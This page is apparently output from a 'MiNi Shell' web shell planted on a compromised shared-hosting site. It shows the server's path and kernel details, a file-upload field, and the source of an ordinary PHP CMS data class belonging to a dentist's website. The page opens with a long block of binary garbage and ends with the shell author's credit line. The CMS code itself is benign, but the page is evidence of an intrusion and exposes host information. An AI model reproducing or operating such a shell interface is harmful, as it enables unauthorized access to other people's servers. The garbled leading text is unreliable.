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.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/hermes/sb_web/b2815/evarossi.com/public_html/irvinedentist/lib/

Linux boscustweb5001.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/hermes/sb_web/b2815/evarossi.com/public_html/irvinedentist/lib/data.class.php

<?php

class Data {
	var $datasource;
	var $commonsource;
	var $current;

	var $category;
	var $subcategory;
	var $article;
	var $page;
	var $page_type;

	var $error404 = false;
	var $sitemap = false;

	function Data() {
		$this->category = CATEGORY;
		$this->subcategory = SUBCATEGORY;
		$this->article = ARTICLE;
		$this->page = PAGE;
		$this->page_type = PAGE_TYPE;
		$this->_init ();
	}

	function _init() {

		if (empty ( $this->category ) && empty ( $this->article ) && empty ( $this->page )) {
			$this->current = 'homepage';
			$this->datasource = $this->dataContent ( 'homepage' );
		} elseif (! empty ( $this->category ) && file_exists ( DATA_DIR . 'category_' . $this->category . '.dat' )) {

			if (!empty($this->subcategory)) {

				if (file_exists ( DATA_DIR . 'subcategory_' . $this->subcategory . '.dat' )) {
					$this->current = 'subcategory';
					$this->datasource = $this->dataContent ( 'subcategory_' . $this->subcategory );
				} else {
					$this->error404 = true;
					$this->datasource = $this->dataContent ( 'homepage' );
				}
			} else {

				$this->current = 'category';
				$this->datasource = $this->dataContent ( 'category_' . $this->category );
			}
		} elseif (! empty ( $this->article ) && file_exists ( DATA_DIR . 'article_' . $this->article . '.dat' )) {
			$this->current = 'article';
			$this->datasource = $this->dataContent ( 'article_' . $this->article );
		} elseif (! empty ( $this->page )) {
			if ($this->page == 'sitemap') {

				if ($this->page_type == 'xml') {
					header ( 'Content-Type: text/xml' );
					echo $this->sitemapXml ();
					exit ();
				} else {
					$this->current = 'sitemap';
					$this->datasource = $this->dataContent ( 'homepage' );
					$this->sitemap = true;
				}
			} elseif (file_exists ( DATA_DIR . 'page_' . $this->page . '.dat' )) {
                if($this->page  == 'contacts' || $this->page  == 'contact') {
                    $is_contactform = $this->loadCommon('contactform');
                    $is_contactform_captha = $this->loadCommon('contactform_captcha');
                    if($is_contactform == 'true' && $is_contactform_captha == 'true') {
                        session_start();
                    }
                }
				$this->current = 'page';
				$this->datasource = $this->dataContent ( 'page_' . $this->page );
			} else {
				$this->error404 = true;
				$this->datasource = $this->dataContent ( 'homepage' );
			}
		} else {
			$this->error404 = true;
			$this->datasource = $this->dataContent ( 'homepage' );
		}
	}

	function loadCommon($item = '') {
		if (! isset ( $this->commonsource )) {
			$get_commonsource = $this->dataContent ( 'common' );
			$this->commonsource = $get_commonsource;
		} else {
			$get_commonsource = $this->commonsource;
		}
		return $this->dat ( $item, $get_commonsource );
	}

	function loadMeta($type) {
		switch ( $type) {
			case 'title' :
			    if($this->sitemap) {
			        return 'Sitemap - ' . $this->dat ( 'meta_title', $this->datasource );
			    } else {
			        return $this->dat ( 'meta_title', $this->datasource );
			    }

			break;
			case 'keywords' :
				return $this->dat ( 'meta_keywords', $this->datasource );
			break;
			case 'description' :
				return $this->dat ( 'meta_description', $this->datasource );
			break;
			default :
				return '';
			break;
		}
	}

	function links($action, $destionation='', $extra_action='', $extra_destionation='', $sitemap_xml = false)
	{
        if(SEO_URLS == 'true') {
            if($action == 'home') {
                return URL;
            } else {
                if(!empty($extra_action)) {
                	if($extra_destionation == 'xml') {
                		return URL . $action . "/" . $destionation . '/' . $extra_destionation;
                	} else {
                		return URL . $action . "/" . $destionation . '/' . $extra_destionation . '.html';
                	}

                } else {
                    if($action == 'category') {
                        return URL . $action . "/" . $destionation . '/';
                    } else {
                        return URL . $action . "/" . $destionation . '.html';
                    }
                }
            }
        } else {
            if($action == 'home') {
                return URL . 'index.php';
            } else {
                if(!empty($extra_action)) {
                    if($sitemap_xml) {
                        return URL . "index.php?" . $action . "=" . $destionation . '&amp;' . $extra_action . '=' . $extra_destionation;
                    } else {
                        return URL . "index.php?" . $action . "=" . $destionation . '&' . $extra_action . '=' . $extra_destionation;
                    }

                } else {
                    return URL . "index.php?" . $action . "=" . $destionation;
                }
            }

        }
	}

	function loadCategorylist($options = '') {
		$prefix = $this->unrolOptions ( $options, 'prefix', '<li>' );
		$suffix = $this->unrolOptions ( $options, 'suffix', '</li>' );
		$order = $this->unrolOptions ( $options, 'order', 'ASC' );
		$class = $this->unrolOptions ( $options, 'class' );
		$data_source = $this->dataContent ( 'categorylist' );
		$getclass = ! empty ( $class ) ? ' class="' . $class . '" ' : '';
		if($get_categories_data = $this->fetchdat ( 'category', $data_source, $order )) {
		    foreach ($get_categories_data  as $key => $value ) {
    			$value = array_values ( $value );
    			$value = $value [0];
    			$url = $this->formatUrl ( $value );
    			$ret .= $prefix . "<a $getclass href=\"". $this->links('category', $url) ."\">" . $value . "</a>" . $suffix . "\n";
    		}
    		return $ret;
		}

	}

	function loadSubCategorylist($options = '') {
		$prefix = $this->unrolOptions ( $options, 'prefix', '<li>' );
		$suffix = $this->unrolOptions ( $options, 'suffix', '</li>' );
		$order = $this->unrolOptions ( $options, 'order', 'ASC' );
		$class = $this->unrolOptions ( $options, 'class' );
		$data_source = (! empty ( $this->datasource ) && empty ( $this->subcategory)) ? $this->datasource : $this->dataContent ( 'category_' . $this->category );
		$getclass = ! empty ( $class ) ? ' class="' . $class . '" ' : '';
		$category_url = $this->formatUrl ( $this->category );
		if($get_subcategories = $this->fetchdat ( 'subcategory', $data_source, $order )) {
		    foreach ( $get_subcategories as $key => $value ) {
    			$value = array_values ( $value );
    			$value = $value [0];
    			$subcategory_url = $this->formatUrl ( $value );
    			$ret .= $prefix . "<a $getclass href=\"". $this->links('category', $category_url, 'subcategory', $subcategory_url) ."\">" . $value . "</a>" . $suffix . "\n";
    		}
    		return $ret;
		}

	}

	function loadCategoryInfo($item = '') {
		$category_source = (! empty ( $this->datasource ) &&  empty ( $this->subcategory)) ? $this->datasource : $this->dataContent ( 'category_' . $this->category );
		switch ( $item) {
			case 'title' :
				return $this->dat ( 'category_title', $category_source );
			break;
			case 'url' :
				return $this->formatUrl ( $this->category );
			break;
			case 'subcategory_title' :
				return $this->dat ( 'subcategory_title', $this->datasource );
			break;
			case 'subcategory_url' :
				return $this->formatUrl ( $_REQUEST ['subcategory'] );
			break;
			default :
				return '';
			break;
		}
	}

	function loadArticlelist($options = '', $extsource = '') {
		$datasource = ! empty ( $extsource ) ? $extsource : $this->datasource;
		$start = $this->unrolOptions ( $options, 'start', 1 );
		$limit = $this->unrolOptions ( $options, 'limit' );
		$order = $this->unrolOptions ( $options, 'order', 'DESC' );

		$content = $this->unrolOptions ( $options, 'content' );
		$content_limit = $this->unrolOptions ( $options, 'content_limit' );
		$article_image = $this->unrolOptions ( $options, 'article_image', true );
		$article_image_class = $this->unrolOptions ( $options, 'article_image_class' );
		$read_more_link = $this->unrolOptions ( $options, 'read_more_link', true );

		$prefix = $this->unrolOptions ( $options, 'prefix', '<li>' );
		$suffix = $this->unrolOptions ( $options, 'suffix', '</li>' );
		$title_class = $this->unrolOptions ( $options, 'title_class' );
		$read_more_class = $this->unrolOptions ( $options, 'read_more_class' );
		$get_title_class = ! empty ( $title_class ) ? ' class="' . $title_class . '" ' : '';
		$get_read_more_class = ! empty ( $read_more_class ) ? ' class="' . $read_more_class . '" ' : '';
		$get_article_image_class = ! empty ( $article_image_class ) ? ' class="' . $article_image_class . '" ' : '';

		if ($tofetch = $this->fetchdat ( 'article', $datasource, $order, $start, $limit )) {
			foreach ( $tofetch as $key => $value ) {
				$mayval = array_values ( $value );
				$mayval = $mayval [0];
				$url = $this->formatUrl ( $mayval );
				$article_content = false;
				$get_article_content = false;
				if ($content) {
					$get_article_content = $this->dataContent ( 'article_' . $url );
					$article_content = $this->dat ( 'article_content', $get_article_content );
					if (! empty ( $content_limit ) && is_numeric ( $content_limit )) {
						$article_content = strip_tags ( $article_content );
						$article_content = substr ( $article_content, 0, $content_limit );
					}
				}
				$ret .= $prefix . "\n\t<a $get_title_class href=\"". $this->links('article', $url) . "\">" . $mayval . "</a>";
				if ($article_content) {
					$ret .= "<br />\n\t";
					if ($article_image =='true') {
						$get_image_name = trim($this->dat ( 'article_image', $get_article_content ));
						if (file_exists ( UPLOADS_DIR . 'image/' . $get_image_name ) && !empty($get_image_name)) {
							$ret .= "<img style=\"padding:5px; float:left;\"  $get_article_image_class src = \"" . UPLOADS_PATH . "image/" . $get_image_name . "\"> ";
						}
					}
					$ret .= "\n\t" . $article_content;
					if ($read_more_link) {
						$ret .= " <a $get_read_more_class href=\"" . $this->links('article', $url) ."\">Read More...</a>";
					}
				}
				$ret .= "\n" . $suffix . "\n";
			}
			return $ret;
		} else {
			return '';
		}
	}

	function loadMoreArticles($options = '') {
		if ($this->dat ( 'from_type', $this->datasource ) && $from_source = $this->dat ( 'from_source', $this->datasource )) {
			$from_type = $this->dat ( 'from_type', $this->datasource );
			$from_source = $this->dat ( 'from_source', $this->datasource );
			if ($from_type == 'category') {
				return $this->loadArticlelist ( $options, $this->dataContent ( 'category_' . $this->formatUrl ( $from_source ) ) );
			} elseif ($from_type == 'homepage') {
				return $this->loadArticlelist ( $options, $this->dataContent ( 'homepage' ) );
			} else {
				return '';
			}
		} else {
			return '';
		}
	}

	function loadArticle($type) {
		switch ( $type) {
			case 'title' :
				return $this->dat ( 'article_title', $this->datasource );
			break;
			case 'content' :
				return $this->dat ( 'article_content', $this->datasource );
			break;
			case 'image' :
				$get_image = trim($this->dat ( 'article_image', $this->datasource ));
				if (file_exists ( UPLOADS_DIR . 'image/' . $get_image )  && !empty($get_image)) {
					return "<img class=\"article_image\"  src = \"" . UPLOADS_PATH . "image/" . $get_image  . "\" /> ";
				} else {
					return '';
				}
			break;
			default :
				return '';
			break;
		}
	}

	function loadPage($type) {
		switch ( $type) {
			case 'title' :
				return $this->dat ( 'page_title', $this->datasource );
			break;
			case 'content' :
				return $this->dat ( 'page_content', $this->datasource );
			break;
			default :
				return '';
			break;
		}
	}

	function loadAds($adtype = '', $options = '') {
		if (! empty ( $adtype )) {
			$adtype = strtolower ( trim ( $adtype ) );
			$allowed_ad_types = array ('leaderboard', 'banner', 'half_banner', 'skyscraper', 'wide_skyscraper', 'vertical_banner', 'large_rectangle', 'medium_rectangle', 'small_rectange', 'square', 'button', 'links_728x15', 'links_468x15', 'links_200x90', 'links_180x90', 'links_160x90', 'links_120x90', 'searchbox' );
			if (AD_NETWORK == 'custom') {
				return $this->dataContent ( 'ads_' . $this->formatUrl ( $adtype ) );
			} elseif (AD_NETWORK != 'adsense' && AD_NETWORK != 'ypn') {
				return $this->dataContent ( 'ads_' . $this->formatUrl ( $adtype ) );
			} elseif ((AD_NETWORK == 'adsense' || AD_NETWORK == 'ypn') && !in_array ( $adtype, $allowed_ad_types )) {
				return $this->dataContent ( 'ads_' . $this->formatUrl ( $adtype ) );
			} elseif (in_array ( $adtype, $allowed_ad_types ) && (!defined('ERROR404') && !$this->error404) ) {
				return $this->buildAd ( $adtype, $options );
			} else {
				return '';
			}
		} else {
			return '';
		}
	}

	function buildAd($adtype, $options = '') {
		switch ( $adtype) {
			case 'small_rectange' :
				$ad_width = 180;
				$ad_height = 150;
				$display_type = 'adunits';
			break;
			case 'medium_rectangle' :
				$ad_width = 300;
				$ad_height = 250;
				$display_type = 'adunits';
			break;
			case 'large_rectangle' :
				$ad_width = 336;
				$ad_height = 280;
				$display_type = 'adunits';
			break;
			case 'square' :
				$ad_width = 250;
				$ad_height = 250;
				$display_type = 'adunits';
			break;
			case 'half_banner' :
				$ad_width = 234;
				$ad_height = 60;
				$display_type = 'adunits';
			break;
			case 'banner' :
				$ad_width = 468;
				$ad_height = 60;
				$display_type = 'adunits';
			break;
			case 'leaderboard' :
				$ad_width = 728;
				$ad_height = 90;
				$display_type = 'adunits';
			break;
			case 'vertical_banner' :
				$ad_width = 120;
				$ad_height = 240;
				$display_type = 'adunits';
			break;
			case 'wide_skyscraper' :
				$ad_width = 160;
				$ad_height = 600;
				$display_type = 'adunits';
			break;
			case 'skyscraper' :
				$ad_width = 120;
				$ad_height = 600;
				$display_type = 'adunits';
			break;
			case 'button' :
				$ad_width = 125;
				$ad_height = 125;
				$display_type = 'adunits';
			break;
			case 'links_728x15' :
				$ad_width = 728;
				$ad_height = 15;
				$display_type = 'linkunits';
			break;
			case 'links_468x15' :
				$ad_width = 468;
				$ad_height = 15;
				$display_type = 'linkunits';
			break;
			case 'links_200x90' :
				$ad_width = 200;
				$ad_height = 90;
				$display_type = 'linkunits';
			break;
			case 'links_180x90' :
				$ad_width = 180;
				$ad_height = 90;
				$display_type = 'linkunits';
			break;
			case 'links_160x90' :
				$ad_width = 160;
				$ad_height = 90;
				$display_type = 'linkunits';
			break;
			case 'links_120x90' :
				$ad_width = 120;
				$ad_height = 90;
				$display_type = 'linkunits';
			break;
			///// Default
			default :
				$ad_width = 468;
				$ad_height = 60;
				$display_type = 'adunits';
			break;
		}

		$link_color = $this->unrolOptions ( $options, 'link_color', '0000FF' );
		$text_color = $this->unrolOptions ( $options, 'text_color', '000000' );
		$url_color = $this->unrolOptions ( $options, 'url_color', '009900' );
		$background_color = $this->unrolOptions ( $options, 'background_color', 'FFFFFF' );
		$border_color = $this->unrolOptions ( $options, 'border_color', 'FFFFFF' );

		$return_value = '';

		if (AD_NETWORK == 'adsense' && $adtype == 'searchbox') {

			$return_value = ("
			<div class=\"search\" style=\"color:$text_color; background-color:#$background_color;\">
			<!-- SiteSearch Google -->
				<form method=\"get\" action=\"http://www.google.com/custom\" target=\"google_window\">
				<input type=\"hidden\" name=\"domains\" value=\"" . DOMAIN . "\"></input>
				<input type=\"text\" name=\"q\" size=\"28\" maxlength=\"255\" value=\"\"></input>
				<input type=\"submit\" name=\"sa\" value=\"Google Search\"></input>
				 <p style=\"padding-top:4px; text-align:center;\">
					<input type=\"radio\" name=\"sitesearch\" value=\"\" checked=\"checked\"></input>
					<font size=\"-1\" color=\"#$text_color\">Web</font>
					<input type=\"radio\" name=\"sitesearch\" value=\"" . DOMAIN . "\"></input>
					<font size=\"-1\" color=\"#$text_color\">" . DOMAIN . "</font>
				</p>
				<input type=\"hidden\" name=\"client\" value=\"" . PUB_ID . "\"></input>
				<input type=\"hidden\" name=\"forid\" value=\"1\"></input>
				<input type=\"hidden\" name=\"ie\" value=\"ISO-8859-1\"></input>
				<input type=\"hidden\" name=\"oe\" value=\"ISO-8859-1\"></input>
				<input type=\"hidden\" name=\"cof\" value=\"GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1\"></input>
				<input type=\"hidden\" name=\"hl\" value=\"en\"></input>
				</form>
			<!-- SiteSearch Google -->
			</div>
			");

		} elseif (AD_NETWORK == 'adsense' && $display_type == 'adunits') {
			$return_value = ("
			<script type=\"text/javascript\"><!--
			google_ad_client = \"" . PUB_ID . "\";
			google_ad_width = $ad_width;
			google_ad_height = $ad_height;
			google_ad_format = \"$ad_width" . 'x' . $ad_height . "_as\";
			google_ad_type = \"text\";
			google_ad_channel =\"" . AD_CHANNEL . "\";
			google_color_border = \"$border_color\";
			google_color_bg = \"$background_color\";
			google_color_link = \"$link_color\";
			google_color_url = \"$url_color\";
			google_color_text = \"$text_color\";
			//--></script>
			<script type=\"text/javascript\"
			  src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">
			</script>
			");
		} elseif (AD_NETWORK == 'adsense' && $display_type == 'linkunits') {
			$return_value = ("
			<script type=\"text/javascript\"><!--
			google_ad_client = \"" . PUB_ID . "\";
			google_ad_width = $ad_width;
			google_ad_height = $ad_height;
			google_ad_format = \"$ad_width" . 'x' . $ad_height . "_0ads_al\";
			google_ad_channel =\"" . AD_CHANNEL . "\";
			google_color_border = \"$border_color\";
			google_color_bg = \"$background_color\";
			google_color_link = \"$link_color\";
			google_color_url = \"$url_color\";
			google_color_text = \"$text_color\";
			//--></script>
			<script type=\"text/javascript\"
			  src=\"http://pagead2.googlesyndication.com/pagead/show_ads.js\">
			</script>
			");
		} elseif (AD_NETWORK == 'ypn' && $adtype == 'searchbox') {
			$return_value = '';
		} elseif (AD_NETWORK == 'ypn' && $display_type == 'adunits') {
			$return_value = ("
			<script type=\"text/javascript\">
			<!--
			ctxt_ad_partner = \"" . PUB_ID . "\";
			ctxt_ad_section = \"" . AD_CHANNEL . "\";
			ctxt_ad_bg = \"\";
			ctxt_ad_width = $ad_width;
			ctxt_ad_height = $ad_height;
			ctxt_ad_bc = \"$border_color\";
			ctxt_ad_cc = \"$background_color\";
			ctxt_ad_lc = \"$link_color\";
			ctxt_ad_tc = \"$text_color\";
			ctxt_ad_uc = \"$url_color\";
			// -->
			</script>
			<script type=\"text/javascript\" src=\"http://ypn-js.overture.com/partner/js/ypn.js\">
			</script>
			");
		}  else {
			$return_value = '';
		}
		return $return_value;

	}

	function loadPagelist($options = '') {
		$prefix = $this->unrolOptions ( $options, 'prefix', '<li>' );
		$suffix = $this->unrolOptions ( $options, 'suffix', '</li>' );
		$order = $this->unrolOptions ( $options, 'order', 'ASC' );
		$class = $this->unrolOptions ( $options, 'class' );
		$exclude = $this->unrolOptions ( $options, 'exclude' );
		$data_source = $this->dataContent ( 'pagelist' );
		$getclass = ! empty ( $class ) ? ' class="' . $class . '" ' : '';
		foreach ( $this->fetchdat ( 'page', $data_source, $order ) as $key => $value ) {
			$value = array_values ( $value );
			$value = $value [0];
            $exclude_this = false;
            if($exclude) {
                if(substr_count($exclude, "#$value#") > 0) {
                   $exclude_this = true; 
                }
            }
            if(!$exclude_this) {
                $url = $this->formatUrl ( $value );
                $page_title = $this->dat('page_title', $this->dataContent('page_' . $value));
    			$ret .= $prefix . "<a $getclass href=\"" . $this->links('page', $url) . "\">" . $page_title . "</a>" . $suffix . "\n";
            }
    			
		}
		return $ret;
	}

	function loadStaticContent($source) {
		return $this->dataContent ( 'content_' . $source );
	}

	function dataContent($source, $ext = '.dat') {
		if (file_exists ( DATA_DIR . $source . $ext )) {
			return file_get_contents ( DATA_DIR . $source . $ext );
		} else {
			return '';
		}
	}

	function loadSitemap($options = '') {
		$class = $this->unrolOptions ( $options, 'class' );
		$getclass = ! empty ( $class ) ? ' class="' . $class . '" ' : '';
		$homepage_source = $this->dataContent ( 'homepage' );
		$categories_source = $this->dataContent ( 'categorylist' );
		$pages_source = $this->dataContent ( 'pagelist' );
		$ret = "<ul $getclass >\n";
		$ret .= "<li><a href=\"" . $this->links('home') ."\"><b>Home</b></a>\n";
		$ret .= "<ul>\n";
		if ($homepage_fetch = $this->fetchdat ( 'article', $homepage_source, 'DESC' )) {
			foreach ( $homepage_fetch as $home_key => $home_value ) {
				$home_value = array_values ( $home_value );
				$home_value = $home_value [0];
				$home_url = $this->formatUrl ( $home_value );
				$ret .= "<li><a href=\"" . $this->links('article', $home_url) ."\">$home_value</a></li>\n";
			}
		}
		$ret .= "</ul>\n";
		$ret .= "</li>\n";
		$ret .= "</ul>\n";
		if ($categories_fetch = $this->fetchdat ( 'category', $categories_source, 'DESC' )) {
			foreach ( $categories_fetch as $cat_key => $cat_value ) {
				$cat_value = array_values ( $cat_value );
				$cat_value = $cat_value [0];
				$cat_url = $this->formatUrl ( $cat_value );
				$ret .= "<ul $getclass >\n";
				$ret .= "<li><a href=\"" . $this->links('category', $cat_url) ."\"><b>$cat_value</b></a>\n";
				$cat_data = $this->dataContent ( 'category_' . $cat_url );
				$ret .= "<ul>\n";
				$catarticles_fetch = false;
				if ($catarticles_fetch = $this->fetchdat ( 'article', $cat_data, 'DESC' )) {
					foreach ( $catarticles_fetch as $catarticles_key => $catarticles_value ) {
						$catarticles_value = array_values ( $catarticles_value );
						$catarticles_value = $catarticles_value [0];
						$catarticles_url = $this->formatUrl ( $catarticles_value );
						$ret .= "<li><a href=\"" . $this->links('article', $catarticles_url) ."\">$catarticles_value</a></li>\n";
					}
				}
				$catsubcats_fetch = false;
				if ($catsubcats_fetch = $this->fetchdat ( 'subcategory', $cat_data, 'DESC' )) {
					foreach ( $catsubcats_fetch as $catsubcats_key => $catsubcats_value ) {
						$catsubcats_value = array_values ( $catsubcats_value );
						$catsubcats_value = $catsubcats_value [0];
						$catsubcats_url = $this->formatUrl ( $catsubcats_value );
						$ret .= "<li><a href=\"" . $this->links('category', $cat_url, 'subcategory', $catsubcats_url) ."\">$catsubcats_value</a></li>\n";
					}
				}
				$ret .= "</ul>\n";
				$ret .= "</li>\n";
				$ret .= "</ul>\n";
			}
		}
		$ret .= "<ul $getclass >\n";
		$ret .= "<li><b>Pages</b>\n";
		$ret .= "<ul>\n";
		if ($pages_fetch = $this->fetchdat ( 'page', $pages_source, 'DESC' )) {
			foreach ( $pages_fetch as $page_key => $page_value ) {
				$page_value = array_values ( $page_value );
				$page_value = $page_value [0];
				$page_url = $this->formatUrl ( $page_value );
				$ret .= "<li><a href=\"" . $this->links('page', $page_url) ."\">$page_value</a></li>\n";
			}
		}
		$ret .= "</ul>\n";
		$ret .= "</li>\n";
		$ret .= "</ul>\n";
		return $ret;
	}

	function sitemapXml() {
		$homepage_source = $this->dataContent ( 'homepage' );
		$categories_source = $this->dataContent ( 'categorylist' );
		$pages_source = $this->dataContent ( 'pagelist' );

		$ret = '<?xml version=\'1.0\' encoding=\'UTF-8\'?>' . "\r\n";
		$ret .= '<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"' . "\r\n";
		$ret .= 'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"' . "\r\n";
		$ret .= 'xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9' . "\r\n";
		$ret .= 'http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">' . "\r\n";
		$ret .= "\r\n";

		$ret .= $this->xmlFormat ( 'http://' . DOMAIN . '/', "1.0", 'weekly' );

		if ($homepage_fetch = $this->fetchdat ( 'article', $homepage_source, 'DESC' )) {
			foreach ( $homepage_fetch as $home_key => $home_value ) {
				$home_value = array_values ( $home_value );
				$home_value = $home_value [0];
				$home_url = $this->formatUrl ( $home_value );
				$ret .= $this->xmlFormat ( 'http://' . DOMAIN . $this->links('article', $home_url) , "1.0" );
			}
		}
		if ($categories_fetch = $this->fetchdat ( 'category', $categories_source, 'DESC' )) {
			foreach ( $categories_fetch as $cat_key => $cat_value ) {
				$cat_value = array_values ( $cat_value );
				$cat_value = $cat_value [0];
				$cat_url = $this->formatUrl ( $cat_value );

				$ret .= $this->xmlFormat ( 'http://' . DOMAIN . $this->links('category', $cat_url), "0.9", 'weekly');

				$cat_data = $this->dataContent ( 'category_' . $cat_url );

				$catarticles_fetch = false;
				if ($catarticles_fetch = $this->fetchdat ( 'article', $cat_data, 'DESC' )) {
					foreach ( $catarticles_fetch as $catarticles_key => $catarticles_value ) {
						$catarticles_value = array_values ( $catarticles_value );
						$catarticles_value = $catarticles_value [0];
						$catarticles_url = $this->formatUrl ( $catarticles_value );
						$ret .= $this->xmlFormat ( 'http://' . DOMAIN . $this->links('article', $catarticles_url), "0.9" );
					}
				}
				$catsubcats_fetch = false;
				if ($catsubcats_fetch = $this->fetchdat ( 'subcategory', $cat_data, 'DESC' )) {
					foreach ( $catsubcats_fetch as $catsubcats_key => $catsubcats_value ) {
						$catsubcats_value = array_values ( $catsubcats_value );
						$catsubcats_value = $catsubcats_value [0];
						$catsubcats_url = $this->formatUrl ( $catsubcats_value );
						$ret .= $this->xmlFormat ( 'http://' . DOMAIN . $this->links('category', $cat_url, 'subcategory', $catsubcats_url, true), "0.8" );
					}
				}
			}
		}
		if ($pages_fetch = $this->fetchdat ( 'page', $pages_source, 'DESC' )) {
			foreach ( $pages_fetch as $page_key => $page_value ) {
				$page_value = array_values ( $page_value );
				$page_value = $page_value [0];
				$page_url = $this->formatUrl ( $page_value );
				$ret .= $this->xmlFormat ( 'http://' . DOMAIN . $this->links('page', $page_url), "0.7" );
			}
		}
		$ret .= "\r\n";
		$ret .= "</urlset>";
		return $ret;
	}

	function xmlFormat($url, $priority, $changefreq='monthly') {
		$dt = date ( "Y-m-d" );
		$ret = "<url>\r\n" . "\t" . '<loc>' . $url . '</loc>' . "\r\n" . "\t" . '<lastmod>' . $dt . '</lastmod>' . "\r\n" . "\t" . '<changefreq>' . $changefreq . '</changefreq>' . "\r\n" . "\t" . '<priority>' . $priority . '</priority>' . "\r\n" . '</url>' . "\r\n";
		return $ret;
	}

	function dat($item, $source) {
		$item = trim ( $item );
		$findMatches = preg_match ( '/<#' . $item . '#>(.*?)<#\/' . $item . '#>/s', $source, $matches );
		if ($matches [1]) {
			return $matches [1];
		} else {
			return '';
		}
	}

	function fetchdat($items, $source, $order = 'ASC', $start = 1, $limit = false) {
		$element = explode ( ',', $elements );
		$findMatches = preg_match_all ( '/<#' . $items . '(.*?)<#\/' . $items . '#>/s', $source, $matches );
		if ($findMatches) {

			for($i = 0; $i < count ( $matches [0] ); $i ++) {
				$getpos = preg_match ( '/position="(.*?)"/s', $matches [1] [$i], $posid );
				$getpos = $posid [1];
				$getdat = preg_match ( '/#>(.*?)<#\/' . $items . '#>/s', $matches [1] [$i] . '<#/' . $items . '#>', $getdata );
				$getdat = $getdata [1];
				$ardata = false;
				$ardata = $this->array_push_associative ( $ardata, array ($getpos => $getdat ) );
				$retarray [$getpos] = $ardata;
			}
			if ($order == 'ASC') {
				ksort ( $retarray );
			} elseif ($order == 'DESC') {
				krsort ( $retarray );
			} else {
				ksort ( $retarray );
			}
			$start = $start > 0 ? $start - 1 : 0;
			$retarray = $limit ? array_slice ( $retarray, $start, $limit ) : array_slice ( $retarray, $start);
			return $retarray;
		} else {
			return false;
		}
	}

    function unQuote ($str)
    {
        return str_replace(array('"', "'", '<', '>'),  array('&quot;', '&#039;', '&lt;', '&gt;'), trim(stripslashes($str)));
    }

    function formatUrl ($str)
    {
        $str = str_replace(array('&quot;', '&#039;', '&lt;', '&gt;'), array('','','',''), trim($str));
        $str = strtolower ( trim ( $str ) ) ;
        $str = preg_replace ( '/[^a-z0-9-_]/' , '-' , $str ) ;
        $str = preg_replace ( '/-+/' , "-" , $str ) ;
        $str = substr($str, -1) == '-' ? substr($str, 0, -1) : $str;
        $str = substr($str, 0, 1) == '-' ? substr($str, 1) : $str;
        return $str ;
    }

	function unrolOptions($source, $option, $default = '') {
		$source = substr ( $source, - 1 ) == ',' ? $source : $source . ',';
		$findMatches = preg_match ( '/' . $option . '=(.*?),/s', $source, $matches );
		if ($matches [1]) {
			return $matches [1];
		} else {
			return $default;
		}
	}

	function datCount($items, $source) {
		$count = 0;
		$findMatches = preg_match_all ( '/<#' . $items . '(.*?)<#\/' . $items . '#>/s', $source, $matches );
		if ($findMatches) {
			for($i = 0; $i < count ( $matches [0] ); $i ++) {
				$count ++;
			}
		}
		return $count;
	}

	function lastID($items, $source) {
		$findMatches = preg_match_all ( '/<#' . $items . '(.*?)<#\/' . $items . '#>/s', $source, $matches );
		if ($findMatches) {
			for($i = 0; $i < count ( $matches [0] ); $i ++) {
				$getpos = preg_match ( '/position="(.*?)(")/s', $matches [1] [$i], $posid );
				$getpos = $posid [1];
				$retarray [$getpos] = $getpos;
			}
			ksort ( $retarray );
			return end ( $retarray );
		} else {
			return false;
		}
	}

	function array_push_associative($arr, $tmp) {
		if (is_array ( $tmp )) {
			foreach ( $tmp as $key => $value ) {
				$arr [$key] = $value;
			}
			return $arr;
		}
		return false;
	}
}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com